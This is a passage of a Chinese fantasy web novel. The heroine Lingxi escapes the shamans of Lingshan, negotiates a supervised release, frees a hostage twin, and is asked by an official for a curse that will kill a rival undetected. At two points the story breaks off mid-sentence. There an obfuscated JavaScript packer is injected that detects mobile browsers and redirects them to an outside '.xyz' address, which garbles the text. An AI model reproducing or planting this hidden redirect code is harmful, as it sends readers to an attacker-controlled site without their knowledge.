巫咸当机立断,法杖上的水色明珠瞬时散出滔滔灵力,巫咸的如钟鸿音响彻群山:“灵汐,不管你是什么境界,我们都不可能就这样放你离开,否则就是害了天下苍生!” 灵汐满含笑意的声音也遥遥传来:“好啊,那你们尽管试试,能不能抓到我。” . 灵山山脚下的密林中有一方灵汐提前清理出来的小型结界,只要确保结界内落点安全,灵汐便能毫无顾忌地瞬移到这里,这也是灵汐迄今为止尝试过的最远瞬移距离。 笑话,真以为自己以戴罪之身上灵山,会没有一点准备吗? 口出狂言让十巫尽管来试之后,灵汐也好自为之地抓紧跑路。 双手合握,拇指并拢抵在唇边,一声悠远空灵的手哨声响彻山谷。 外侧手指似鸟羽翕张,哨声也随之有了高低音调,似仙鸟长鸣余音萦绕。 不一会儿,清脆的嘶鸣声从空中传来。 平静的山谷被风刃撕开,灌入一阵狂风,一道白色身影自风中降落——是马身鸟翼的异兽孰湖。 乱风平息,在山中饱餐一顿的孰湖小跳几步,发出欢快嘹亮的啼鸣,强壮有力的锥形长尾高高挥舞几下,是在和灵汐打招呼。 灵汐跑到孰湖面前,被她尾巴一卷就坐到了马背上。 “飞雪,走了!”一道命令下去,飞雪立时扇动翅膀载着灵汐凌空而起。 . 大荒南端某临海小城。 这座小城依山丘而建,地势高低起伏,建筑错落有致。 灵汐顺着一条主路上行了许久,终于到了城内最高建筑——神庙。 一路走来,小城的房屋建筑是清一色的灰白石墙,这座神庙外观也是素净白石,内里却满是色彩鲜艳、造型华丽的壁画和浮雕—— 刻画的是一位女神战胜为祸一方的海妖、护佑海上安宁、最终得到众人拥护的故事。 灵汐一点点看过去,来到了神像右侧墙壁上女神凯旋、众人庆贺的浮雕前。 灵汐定定看了一息,浮雕中一个为女神献上花环的年轻女子雕像便渐渐融化、蠕动、变形、剥落,一股魔气翻涌,石雕中走出一个身穿枣褐窄袖翻领长袍,黑发红眸、面若冰霜的女子。 “主人,你回来了。”魔族女子道。 “不要这么叫我,渡沙!”灵汐叉腰道。 “你在这里……”灵汐话说到一半,突然静止不动。 因为她听到了万象同声! 即便是第一次听到,也能瞬间明白这就是万象同声之术。 山川大海、花草树木、万物生灵,都整整齐齐发出低语: “巫师行为准则: “一,务必维护灵气系统平衡,灵气生生不息,天神终有回归之日; “二,不可利用巫术做有违天道之事; “三,不可利用巫术干涉人族政斗……” 一遍又一遍,仿佛陷入了某种恐怖怪谈。 灵汐已达天示境,对灵气的感知力也是顶级,因此在十分辽阔的天地间,那无数低语声都万分清晰地回荡在耳边。 灵汐定住等了许久,等到夕阳西下,等到群星高悬,等到自己和渡沙都快与壁上雕像融为一体,那万象同声仍在一遍遍地重复“巫师行为准则”。 灵汐的白眼翻到天灵盖,恶狠狠骂了一声:“靠!好恶毒的手段!” 4. 缓刑了 “你之前不是说过,灵山那边有一种锁可以切断巫师对灵气的感应,不然你也试试研究个类似的术法?” 看着被不绝于耳的“巫师行为准则”折磨得痛苦不堪的灵汐,渡沙提议道。 两人在小城中心找了间客栈休息,人族的城市中灵气明显稀少很多。 还特意开了顶层四楼的房间,远离地面,并撤走了房间内所有花草。 但灵汐依然能清晰地听到楼下摆的盆栽、邻居阳台上的香草、甚至半个小城之外的苍翠山坡,都在一刻不停地念着“巫师行为准则”。 灵汐面朝下趴在床上,像只死了三天的八爪鱼,散发着沉沉死气。 渡沙见她已无声多时,像是生怕她受不了魔音贯耳、把自己闷死在被褥中,走上前双手一提就将灵汐翻了个面。 顶着一对浓重黑眼圈,灵汐缓缓睁开双眼。 “你听到我说什么了吗?”渡沙问道。 灵汐“腾”地一下坐起来,摇了摇头:“不行,我死都不会切断灵气感应的!” 灵汐转身下床,在房中来回踱步,双手在空中乱舞:“巫师切断灵气感应和人族放弃呼吸有什么区别?灵气就是巫师的武器!只有等死的人才会放下武器!不行!绝对不行!我活到现在学到的最大教训,就是永远不要离开灵气啊!!!” 嚎叫完后,灵汐又“啪叽”一下趴在桌面上了。 渡沙已经习惯她这种时而活人微死、时而亢奋发疯的状态了。 万象同声已经持续了三天,灵汐这种状态也持续了三天。 “我可以保护你的,而且现在有更要紧的情况需要处理,你都回来三天了,缇娅还没回来,我们得做好她暴露或者反水的准备。” 灵汐将脸立在桌面上:“放心吧,她姐姐在我们手上,她不会反水的。” 渡沙拿出灵汐上灵山前交给她保管的万象袋——约莫一掌大小的墨绿收口布袋,从中取出通信竹:“就算缇娅那边没事,自从你去灵山,这一个月以来苍离每天都在给你写信,赫戏隔几日来一次信,都是问你在哪里、好不好、安不安全……伊木也来过一次信问你行踪,你不回信吗?” “他们除了问候,有说具体什么事吗?” “没有。” “那就是没事,你帮我回‘一切安好’就行了。” “好吧……但我觉得还是有必要查一下缇娅那边什么情况……” “我现在什么都干不了,太吵了,你不是巫师,你听不到它们有多吵。”灵汐双眼无神道。 万象同声是灵气之声,直接响在巫师的脑海里,把耳朵捂成聋的都没用,灵汐试过了。 “我先去拿些吃的,你该吃东西了。”渡沙戴上纱笠,遮住引人注目的赤红双瞳,出去了。 . 灵汐味同嚼蜡地吃完一餐,从头到尾都不知道自己吃了什么东西,脑子里全是什么“行为准则、灵气、天神……” 渡沙看着她心不在焉的样子,抓着她的肩膀晃了晃:“不能再这样下去了!我们要想办法尽快结束这什么万象同声,你无法摆脱干扰的话就由我去做,告诉我怎么停掉!我去灵山放火烧了建木行不行!” “不行!你是魔族!你要是上灵山,他们一定会大惊小怪、联合全大荒的巫师一起追杀你的!”灵汐终于被晃回了神,站起身来,“我自己去!论境界论巫术,他们加起来也不是我的对手!我自己可以解决!” 反正十巫里只有两个无忧境,其他部落里一个无忧境都无。 而那两个无忧境里,一个是白发苍苍的巫咸,一个是擅长预卜的巫姑。 虽说叫预卜之术,但大多数卜术只能看到过去和现在,预知未来是相当不靠谱的,只能看到个大概方向不说,还因为种种原因不得泄露天机、不能人为干预…… 在灵汐看来,这“预”字的实用性趋近于无。 而且,巫姑是预卜天赋的话,那她八成是偏科的无忧境。 “不行!你状态太差了!自己去太危险了!”见灵汐头也不回地转身就走,渡沙立即阻拦道。 灵汐拍拍胸脯:“放心吧,他们也是巫,我受干扰,他们也一样受干扰!再说了,他们所有人加起来也不敌半个天示境。” . 飞雪载着灵汐来到灵山上空,越过天音殿,没用多久,云雾缭绕间,通天建木出现在眼前。 建木巨大无比,高耸入云,主干笔直,只有九根逶迤曲折的蛇状分枝,三枝为一组,分为上下三层。 分枝上算不得繁茂的叶子在阳光下熠熠生辉,无花无果。 离近了仔细看,建木枝叶正微微颤动,分明是在向整个大荒施万象同声之术。 灵汐让飞雪藏起来,自己则一跃而下,乘风缓缓降落在建木附近。 伸手抚上建木裸露在地表的根系,灵汐能感到汹涌灵气自地底深处顺着建木上行,再通过枝叶洒向大荒各方,“巫师行为准则”之声震天撼地。 灵气运行虽复杂却也有规律,但灵汐看了许久也没有找到结束万象同声的关窍。 “万象同声只能由十巫开启和结束,你一个人做不到的。”身后传来温厚女声。 灵汐回头看去,巫咸面露微笑看着自己,而她身后,越来越多的巫师汇集而来。 缇娅混在其中与自己交换了一个眼神,耸了耸肩。 靠!灵汐不禁暗骂,这群卑鄙小人,他们竟然个个都给自己锁上了封灵锁!以此屏蔽掉那烦人的声音! “你们有病吧?为了整我,你们竟然给自己切断灵力!损人不利己啊!至于吗!你们现在和凡人无异,我随便放把火都能把你们一网打尽了好吧!”暗骂不过瘾,灵汐大声骂道。 对面巫师们一片面色铁青,巫姑倒是一幅浑不在意的样子:“你要是天示境,本来就能随随便便把我们一网打尽。” 不过说到这里,灵汐手指一点,熊熊火焰自建木根部燃起,迅速燃成一圈将建木包围。 然而,火焰燃了许久,都似乎只是在燃烧空气,并未伤到一分树皮。 灵汐不再施术助燃后,火焰便越来越小,直至停熄。 “孩子,这可是神木。”巫咸面露无奈,却并未上前阻止,“巫术伤不到神木,不如我们来谈谈条件吧。” “谈什么条件?快点结束这破术法,不然我把你们都杀了!”这里灵气浓郁,那念经似的声音已经不是低语了,而是有人扯着嗓子在她脑子里呐喊,灵汐不免更加烦躁。 “你把我们杀了,万象同声也不会停的。”巫咸抬掌指向后方,“我们还是谈谈吧。” . 又是熟悉的天音阁。 高台上十巫端坐,其余巫师各自在大殿两侧落了座,而灵汐拒绝入内,提了椅子坐在了大殿门外。 大殿中仅有一个一脸疲惫的年轻巫师没有戴封灵锁,目测境界并不高。 其他人全都戴着锁,毫无威胁。 “别废话了,我不接受任何限制我自由的条件,谁给我提‘监禁’,我就拧掉他的头。”灵汐歪着身子一手按头,用力得仿佛想要将脑内声音直接掐死。山风掠过带起红发乱舞,看上去嚣张得很。 “灵汐,你能到至高境界,的确天资卓越,但你杀性太重,放你自由就是置天下苍生于不顾,我们决不能冒这个险。”巫咸的态度也很坚决。 “那这是在做什么?浪费我时间吗?”冰冷的目光携着刀子般杀向巫咸。 “我建议你在灵山修身养性一段时间,去去杀伐之气,在此期间你可以像正常的灵山学子一样自由活动,不过不能离开灵山。” 巫族并无永生之能,十巫也需要继承人。 每个部落都会送有天赋的优秀巫师来灵山,通过遴选后便能作为十巫候选人在灵山修习。 十巫位置有空缺时便会从灵山门下择巫上任。 “等你能够束身自持时,就能彻底恢复自由。”巫咸娓娓道来。 原来是要等她改邪归正啊…… 灵汐的表演欲说来就来:“大人,说出来你可能不信,体验过身死魂消之痛后,我也百感交集。回顾此前种种,我亦痛悔不已!幸得天道仁慈,赐我重来一次的机会,我也决定洗心革面、重新做人! “你们大可放心,从前那些混账事,我不会再犯!你们看啊,万象同声如此磨人,我都没有大开杀戒,而是心平气和地坐下来和你们谈条件,这难道不是很明显的改变吗?” 灵汐摊开手,顶着分外真诚的大眼睛看着十巫。 “呵,你不会真以为有人信你那起死回生之说吧。大人们,她定是用了什么邪术才假死骗过我的!”一直面如死灰的风意忍不住开口。 灵汐丝毫不慌:“哎,我也说不清楚,只记得当时疼痛无比。但混沌之中,我隐隐感到一股精纯灵气将我包裹,又听到渺渺低语声贯入脑海,十分温暖亲和,却有涤荡灵魂之力。再睁眼时我就活了!可能是天道对天示境的特殊优待吧,你不是天示境,自然不懂。没关系,无知者无罪!” 风意没有看灵汐,而是看着沉默的十巫,发出一阵凄厉的惨笑。 而后就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305746|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燃尽的爆竹,火光熄灭,归于沉默了。 天示境与无忧境之间是两千年无人逾越的鸿沟,面对这悬殊差距,就算是十巫也无法强制对灵汐施以惩罚。 “光凭你一张嘴说改过向善,我们可不能信。”巫咸将对话拉回正题。 “无所谓,反正我不会把自己困在你们眼皮子底下,没得商量。大不了把你们都杀了,我再戴上封灵锁,既安全又清净!” 灵汐整个人向后仰去靠在椅背上:“再说了,你们把我困在灵山能看出来什么?不把我放出去和人打交道怎么能看出来我是不是真的改了?” 众人又开始聒噪起来。 有人斥灵汐不知好歹、贪得无厌。 有人说高阶巫师是我族的稀有资源。 有人说决不能向魔头让步。 有人说既然天道给她生路就一定有她的道理。 …… 忽有一身着天青色灵山学子服的巫觋起身,稳步走到大殿中央,恭恭敬敬朝十巫行了一礼,沉声道:“大人们,弟子有一提议。” 得到巫咸点头应允,青衣巫觋才继续道:“弟子认为,与其将她困在一处,不如让她出去行善赎罪。灵山可以派人监督她,她杀了多少人,便教她救双倍的人,这样也能发挥她高阶巫师的最大价值。” “哈?你有亲戚朋友需要我帮忙救吗?”灵汐向来喜欢以最坏的恶意揣测别人。 青衣巫觋语气平静:“我的提议并非是为了给自己谋私。” “说得好听,真按你说的来,今天我答应救人赎罪,大家散会各回各部落,我保证明天就有一屋子行将就木的巫师来找我上门求医。 “不过我一个都不会救!你们要是给我定什么救人数量,我明天就去人族战场救人,公平起见,两边的伤病我一起医,医完了就看他们重新列阵接着打,打完再医,医完再打,保证很快就能满足你的数量要求。” 面对灵汐的咄咄逼人,那巫觋眉头紧锁,意味深长地看了一眼灵汐,却并未继续反驳。 . 灵汐按着额头,硬是耐着性子等待殿内众巫七嘴八舌地讨论了许久。 沸沸扬扬之声逐渐止息,巫咸持重之声传来:“灵汐,我们同意对你采用监督管束之策。你可以离开灵山,但会有一位监律使跟随你左右,时刻监督。若你再有藐视法纪之举,那我们就只能,用老办法提醒你了。” 灵汐撤回一个翻到一半的白眼,只要能让这烦人的声音停下来,无所谓了,反正无论谁来监督,都不可能境界在自己之上。 “多久?总不会要跟我一辈子吧?” “十年。” “怎么不直接跟我到死啊!”灵汐终究还是没省下那个白眼,“一年。” “九年。” “一年!” “八年。” “一年!” “不能只有我们在减,而你一动不动吧!”巫姑提出抗议。 灵汐觉得也有道理:“两年!” “七年。” 灵汐忍无可忍:“一定要一年一年地加减吗?三年!这是极限!就这么定了!” “好,就三年!”巫咸一锤定音,“如果这三年里你能安分守己循规蹈矩,那三年后你就恢复自由;但若你仍目无法纪行事狂悖,那就另当别论了。” “好啊!”灵汐站起身来,竟是一步步走进大殿,“那谁来监督?你吗?你吗?还是你?你?你?” 灵汐用眼神一个个点过众人,不像是在询问人选,倒像是阎王点名。 殿中唯一一个没有佩戴封灵锁的年轻巫师骤然起身,她同样穿着灵山学子的巫师服,绑着一根长长的侧麻花辫。 灵汐看着她道:“是你吗?” 麻花辫巫师叹出一口气:“不是。” 她转向十巫,掌心向内双掌交叉于胸前,微微低头行了一礼,道:“大人们,时间到了,该换下一个人轮班了。” 巫咸点头,很快便有另一位巫师站起身,将自己手上的封灵锁转移给麻花辫巫师。 嚯,原来是安排了巫师轮值感应灵力啊! 看看这无休止的万象同声有多烦人,轮值时间一到,哪怕是在十巫集会上也要立刻换班! “还没选出那什么监律使吗?那你们慢慢商量吧。”灵汐取下腰间万象袋,拿出通信竹,竹节自她掌中浮起飘向巫咸,她也学着麻花辫巫师的样子行了一礼。 “大人们,你们选好了人,可以随时联系我。现在可以结束万象同声,先放我回去好好睡一觉吗?” 5. 大旸山 “主人,主人,醒醒,缇娅回来了。” 沙质嗓音传入耳中,灵汐从睡梦中逐渐剥离,嘟囔道:“不要叫我主人……什么时候了?” “已经未时了。” 从灵山交涉回来已经过去三天了,这三天没了万象同声,灵汐每日都能美美睡到日上三竿。 但灵山那边却没有一丁点消息传来。倒也不奇怪,他们开会的效率向来很低。 . 来到小城神庙,灵汐推门而入时,缇娅正双手合十在神像前祈祷。 “拜什么呢?” 缇娅立即回身,见到灵汐松了一口气,道:“我姐姐呢?” 紧接着发现来的不只灵汐一人,缇娅面色不悦:“我以为我们的合作要保密呢?你怎么带别人来了?” 灵汐漫不经心道:“她是渡沙,我朋友。” 缇娅却激动起来,快步走到灵汐跟前,语速极快道:“我去灵山当暗探,那是冒着多大的风险!你拉人进来不该先和我商量一下吗?我一直都很尊重你,但如果你这么不尊重我,我们以后没法合作了!” 不待灵汐反应,摘下纱笠的渡沙目光直指缇娅,抢先道:“几天前她在这里等你,一个多时辰内对你破口大骂六次。” 场面一度有些尴尬。 缇娅瞠目结舌瞳孔震颤,渡沙义正言辞一脸坦荡。 灵汐看看渡沙,又看看缇娅:“哇哦……倒也正常,毕竟我绑架了她姐姐。” 缇娅渐渐冷静下来,从慌乱转为恼火:“你让她监视我?” 灵汐坦然自若道:“我让你们都在这里等我,是你没有发现她罢了!” “这庙就这么大,我怎么没发现有人?” “她比较擅长藏匿。” 渡沙点头,表示附和。 缇娅左看右看,似乎难以置信这一览无遗的庙中当初除了自己还藏着另外一人。 灵汐挑了个角落中的信众席位坐下,两腿一搭,转移话题道:“灵山选出监律使了吗?” 渡沙没有跟着灵汐过去,而是自觉守在门边。 缇娅坐到灵汐斜前方:“没有,不过应该也快出结果了。” 灵汐疑惑:“你没去竞选一下我的监律使吗?我临走时不是给你递眼神了吗?” 缇娅面露无奈道:“我去了,但咱俩可是血海深仇的关系,大家都觉得我是要以卵击石去杀你,而你一定会轻而易举地反杀我,所以没有人同意让我去!” “那你知道候选人有谁吗?” “八成是在巫山修习的学子里选了。我和风意那边都和你有仇,其他部落的人和你没仇,又怕他们为秘法徇私,只有灵山的人最合适了。” 灵汐略作思索,灵山的学子,还真没打过交道。 缇娅再次迫不及待问道:“我姐姐呢?我已经完成你安排的所有事了,能把我姐姐还给我了吗?” “你起码等我问完情报吧——”灵汐特意拉长了尾音,“风意呢?她回雾隐岛了吗?” “我离开灵山的时候她还没走。对了,虽然你‘死而复生’了,但风意看管不力的失职之罪已定,万象同声那几天她还受了鞭刑。”缇娅顿了顿,“是你想要的结果吗?” “她都动手杀我了,我难道只想让她受鞭刑吗?我当然是要杀了她啊!”灵汐不忘初心。 “你不是在那什么管束期吗?你不怕万象同声了?” “做成意外死亡不就行了!” 缇娅不置可否,只是分析道:“风意和我一样被否决了监律使资格,她还守在灵山不离开,一定是在等最后人选,恐怕你还没等到风意下山,就先等到监律使来找你了。” 唉,杀她的机会可真难找!都怪巫姑! 谁知道十巫里有个罕见的预卜巫师!还是个无忧境!要不是被她看到自己还活着,自己还是个自由自在的“死人”呢! 灵汐暗骂一声,随后敛起所有情绪,眼神锐利地盯着缇娅:“最后一件事……你们部落其他幸存者,她们在哪儿?” 缇娅不自觉地将身子歪向远离灵汐的方向,一字一句认真回答:“我不知道,真的。但我可以保证,幽瞳湾的人绝对不会主动去灵山,她们绝对不想和灵山扯上一丝交集。” 也是,当初死了一半人,幽瞳湾都没有一个巫师上灵山求助,还是自己去灵山认罪时,这个部落遇难的事才公之于众。 暂且可以相信缇娅的说辞。 对视片刻后,灵汐起身走到一面墙的壁画前,抚墙默念咒语,壁画便如水面波动起来,灵汐一手伸进壁画,带出一个沉睡中的年轻女子。 缇娅飞奔上前,抱住沉睡女子,急急呼唤:“绯娅,绯娅!” 灵汐手指一点女子额心,她才悠悠转醒。 缇娅急忙拉着绯娅转着圈地检查周身,确认无恙后两人才紧紧相拥。 虽然早就不是第一次见她们,但灵汐仍觉新奇——她们的五官、面庞、身形全都一模一样,连身上衣裳都是一样的样式,只是颜色不同,绯娅穿缇色,缇娅穿绯色。 这对双生子抱了许久,沉睡多日的绯娅才来得及看看周围:“我这是,在哪里?你们是?” “不好意思,忘了介绍了,我叫灵汐,”灵汐手掌指向门口处安静如雕像的红瞳女子,“她是渡沙。” 顿了顿,又继续道:“我之前有事找缇娅帮忙,所以绑架了你,现在忙帮完了,你们姐妹又可以团聚啦!” 双生姐妹看着彼此,歪头点头眨眨眼,虽然一句话没说,但灵汐十分确定她们在背着自己用眼神说小话。 “交流”了好一会儿,两人转向灵汐异口同声道:“那我们可以走了吗?” “稍等一下。”灵汐举手阻拦。 缇娅有些着急:“还要做什么?这比原计划已经多花了我很多时间了。” 灵汐礼貌微笑:“是这样没错,不过我本来让你和风意动完手就能走的,谁知道你后面又回灵山去了!” 缇娅简直要被气笑了:“多亏了你,幽瞳湾的首领长老都过世了,我是唯一一个去当证人的幸存巫师,他们就给了我原本只有大祭司和长老才有的灵山通信竹权限,十巫给我发信,让我去灵山集会,我能不去吗? “还是多亏了你,十巫开启万象同声,大家都留在灵山用封灵锁屏蔽声音,我难道还能不合群地硬要离开吗?” 绯娅听完却慌了神:“你去灵山了?他们……” “没事,他们不知道幽瞳湾的事,”缇娅连忙轻声安抚绯娅,用眼神指了指灵汐,“我只是去给她帮忙的。” 下一刻转头面对灵汐,缇娅立马换了嘴脸:“因为你的事我都一个多月没顾自己的生意了,你还要等什么?” 灵汐颇为惊讶:“你还有生意?你有什么生意?” “为人类驱邪祛病,祈福消灾,占卜预言,寻人觅物,我这两年在大旸山可是小有名气的巫师。”缇娅叹了口气,“干这行最重要的就是维系信众的信任,我消失一个月不干活,人家马上就去找其他术士、神婆了。” “没关系,这次‘稍等’很快的。”灵汐眨眼间闪身至双生子面前,一掌按上缇娅额头,缇娅便仰着头,如失了魂般闭上眼睛一动不动了。 “你要干嘛!”绯娅在慌乱中抱紧缇娅,又努力挤到缇娅和灵汐中间,试图将缇娅挡在身后。 灵汐直勾勾盯着惊慌失措的绯娅,唇角勾起淡淡一笑:“你知道幽瞳湾部落其他巫师现在在哪儿吗?” 绯娅颤抖着摇摇头,飞快答道:“不知道,我们两个离开幽瞳湾之后就没再回去过了,也没有和她们联系过。” 得到和缇娅相同的答案,灵汐便放开缇娅,向后退去。 缇娅只觉有一瞬间五感皆失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305747|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但很快便意识回笼,只见灵汐冲着自己与绯娅微微一笑道:“走吧,我送你们回家。” . 双生子是第一次来这遥远的海滨小城,还不熟悉回家的路。再说了,是灵汐将绯娅绑过来的,理应送她们回去。 面对双生子的推脱,灵汐就是这么说的。 一天过后,飞雪拉着一辆由树木藤蔓组成的简陋马车降落在大荒东陆,姜国玉林郡内大旸山上的一处小院子。 整齐的高木栅栏上缀满了爬藤植物,有粉的白的花朵,也有青的红的瓜果。 宽敞的院子里由蜿蜒的青石板小路连通院门与各间屋子,高低错落的各类植物依稀掩映着零落分布在院中的凉亭、躺椅和秋千。 院子外的飞雪撕心裂肺地嚎叫不止,因为急着赶路,灵汐没有让她按时停下来吃饭休息,而是一口气从那滨海小城飞到了大旸山,她正发脾气控诉灵汐呢。 渡沙举着双手试图让飞雪安静下来、听她讲道理,但很明显飞雪接下来连她也一起骂了。 灵汐见到院子一角有一棵黄果树,缀满了金黄饱满的灯笼果,便转头喊飞雪来吃果子。 “你还真把我这儿当你自己的地盘啊!”缇娅踢着两块石头抵住两扇院门,抑扬顿挫地开口。 灵汐回过头从容一笑:“我走到哪里,哪里就是我的地盘,除非遇到打不过的人。” 缇娅鼻子一皱刚要发作,绯娅及时伸手拉了拉缇娅的衣角,轻轻摇了摇头。 缇娅扁扁嘴,熄火了。 灵汐将气冲冲的飞雪安抚好,走进堂屋毫不客气地吩咐双生子:“给我找个隐蔽的地方,我给你们留个阵法。” “什么阵法?”缇娅放下手中茶杯,一脸警惕。 灵汐解释道:“平日里联系用的。” “平时联系不是有通信竹吗?” “我的阵法当然是有通信竹没有的功能了!” 一番推拉过后,灵汐在一间卧房的桌子上画下了一道复杂精妙的阵法纹路,划破手指在阵纹点上几滴血,鲜血便顺着阵纹描出血线。 灵汐默念咒语,血色阵纹仿佛腐蚀了木制桌面,刺啦刺啦的冒出一团白烟,烟雾散去,阵纹便如刀削斧凿般,凹陷进桌面之中。 四人围坐桌子四边,缇娅和绯娅好奇地盯着这从没见过的阵法,渡沙倒是习以为常地一脸平静。 “这是干什么用的?”缇娅问道。 “这只是一处分阵点,我在其他地方还有分阵点,施术时可以暂时将两个分阵点的空间交叠,用于千里传物。”灵汐得意洋洋地介绍道。 缇娅绯娅皆是不可置信的表情:“世上竟有这种阵法?” “我自创的。”灵汐流利答道,仿佛这句话已经准备了很久。 “这就是天示境吗?” 灵汐点点头:“这就是天示境。” 缇娅看着桌上阵法,犹豫几番后还是开了口:“我以为我们之后要分道扬镳了呢……不想被人发现我们联合起来暗度陈仓的话,我们不是越少联系越好吗?” “缇娅,我们是共犯。朋友可能会分道扬镳,但共犯永远绑定。”灵汐扬起一个可谓灿烂的笑容,“不过放心,之后我就不会再绑架绯娅了。” 缇娅闻言并无一丝喜色,反倒是绯娅先站起来打圆场:“天色不早了,我去准备晚饭,你们也留下来一起吃吧!” . 晚饭后天色已暗,绯娅顺理成章地邀请灵汐渡沙二人留宿家中。 灵汐看着吭哧吭哧吃了半树黄果还没消气的飞雪,从善如流地答应了。 然而,睡到半夜,灵汐竟被一道粗犷男声吵醒。 听到男声时,灵汐以为自己在做梦。 直到睁开眼,发现渡沙已不在床上。 她正静静站在窗边,开了一条窗缝观察外面,不知已经站了多久。 6. 杀人之愿 “怎么回事?我怎么好像听到了男人的声音?”灵汐起身朝渡沙走去。 “有人上门求缇娅办事。”渡沙自然而然地给灵汐让出了窗户缝。 灵汐将一只眼贴上窗缝,向外张望道“什么事非得半夜三更的来,还这么吵?” “缇娅不愿承愿,事主便发脾气了,但我看着还没动手,就没叫你。” 卧房在堂屋后方,堂屋后门关闭,只能看到屋内亮着灯烛,影影绰绰,看不到具体情形。 于是灵汐带着渡沙悄么声地出了卧房,摸到了前院阴影处。 只见堂屋前门大敞,缇娅坐在正对门口的红褐格木桌案前,绯娅戴一只黑色鬼眼面具站在缇娅身后,屋内还有两个身穿夜行黑衣、腰间佩刀的男子,也在缇娅绯娅对面一站一坐。 灵汐压着脚步悄悄走近,听清了他们的对话。 “钱财不是问题!若是这事能办成,巫娘子可以随便开价!”坐着的男人虎背熊腰,大掌一挥,劲风扰乱烛火,灯影重重晃动。 缇娅笑得有些勉强:“抱歉,王大人,这件事我真的没法……” 没等缇娅说完,男人立刻打断:“巫娘子!你上次帮我寻人,我见你确实有些本事,才拿如此机密之事来找你!你再推三阻四,可就是给脸不要脸了!” 绯娅搭在腹前的双手攥成了拳头,明显有些紧张。 缇娅垂下眼,斟酌一番开口道:“王大人,如果您想寻医问药、占吉卜凶、寻人追踪、驱邪……” 男人一掌拍得桌案震天响:“我告诉你,今日你听到了这机密之事!你要么给我痛快办事,要么……你可知道装神弄鬼蛊惑民众是什么罪?” 站着的男人随即也拔刀数寸,作势威胁。 “你们来求什么?”黑暗中的灵汐鬼魅般开口。 “啊!” “我艹!” 两道男声划破夜空,屋内一阵兵荒马乱。 两个男人齐齐拔刀出鞘,锃亮的刀刃直指门口。 灵汐总算看清了两人的脸。一人挡在前面,颧骨高耸,眼露精光,奈何身材较为瘦削,完全挡不住后面的人。 后面那原先坐着的男人身材魁梧、方面阔额,狭长的三角眼凶光外露。 灵汐走到烛光之中,身形一览无遗。 “长史,好像是个女子……” “艹!你是人是鬼?怎么走路没声的!” 灵汐指着缇娅:“我是比她更高阶的巫师,你要求什么,她办不了的,我可以办。” “吱——”桌凳摩擦地砖发出刺耳声音。 缇娅起身行到灵汐面前,摇了摇头,轻声道:“事关人族政斗,我们不能管!” 灵汐挑起一边眉毛轻轻一笑,拍拍缇娅手臂示意无事,忽视掉缇娅不解的眼神径直走进屋内。 渡沙也从暗影处走出,随灵汐走到案前,翻出一只倒扣的茶杯,为灵汐斟满茶水,又安静地站到灵汐身后,与绯娅一左一右成护法之势。 灵汐润过嗓子后,抬手示意粗壮男人坐下,道:“和我说说你们想求什么吧。” . 蜡烛燃至半截,灵汐总算搞清了来龙去脉。 来人是玉林郡长史王弛,想求一道能神不知鬼不觉地将人除掉的巫咒,原话是“最好像染疾而亡”。 他想除掉的是郦郡郡守章毅。郦郡毗邻玉林郡,是姜国西南角上的两个郡。 近日姜王病重,皇子争权,各方势力蠢蠢欲动。 西南两郡地势险峻,群山环绕,只要锁住几个险要关隘,就能隔绝其他州郡,自成一方天地。 王弛的兄长王弘为玉林郡郡尉,手握兵马,天时地利人和,只待出兵兼并郦郡,西南两郡就得改姓“王”了。 但王弘和章毅私交甚笃,说什么“就算自立为王,也要和好兄弟共治”! 这可急坏了王弛,王家的山河怎可分给外人! 于是王弛自作主张,计划偷偷除掉章毅,还不能让兄长知晓。 “我已经买了‘黄粱梦’了,”王弛从袖子中拿出一黄纸小包递到灵汐面前,“但是这种药……仵作验尸时是不是能被查出来?” 灵汐打开药包闻了闻,配方简单,只有一味极乐草:“这药人吃了一个时辰内就会发作,死后会嘴角含笑,像是在美梦中死去,不会有其他明显的中毒反应。但是只要有仵作来验尸,一定会发现的。” “所以啊,”王弛一脸愁色,指头叩了叩桌面,“我就想问问巫娘子,有没有什么巫咒既能除掉他,又能不让任何人发现!” 灵汐了然一笑:“当然有,你等一下。” 王弛忙道:“哎,我可等不了太久,三日后我们兄弟就要和章毅聚首共谋大事,那便是我最好的下手时机!” 灵汐嘴角弧度不变:“只需稍等一会儿便好,我去取个东西。” 灵汐起身朝院子走去,缇娅匆匆跟上来小声道:“喂,你疯啦?巫师不能干涉人类政斗的!” 灵汐步履未停:“他连毒药都买好了,那个章毅无论如何都会死的,我这也不算干涉。” “但是他怕被人发觉,不一定会下毒的!你在我家搞这种事,万一天道降雷劈你,你要害死我们吗!” “他现在觉得自己有的选,所以才要求这么多。如果我们不帮他,他发现自己没得选了,才不会管这么多呢!”灵汐直直走到院落一角才停下脚步,“什么名声好坏、兄弟义气,在权力的诱惑面前,都不值一提。” 缇娅一时哑口无言,竟觉得灵汐说得有几分道理。 院中大多数花朵都在晚上闭合休息了,唯有一处墙角下有一丛三更萝开得正盛,此花是很好的灵气载体。 灵汐摘下一朵三更萝,在上面施了个小术法,又将花朵一分为二递给王弛:“这朵花,一半给章毅吃了,做菜做糕点都行;另一半喂给一只猪,再把那只猪的心脏带给我,我就能让章毅死于心疾发作。” 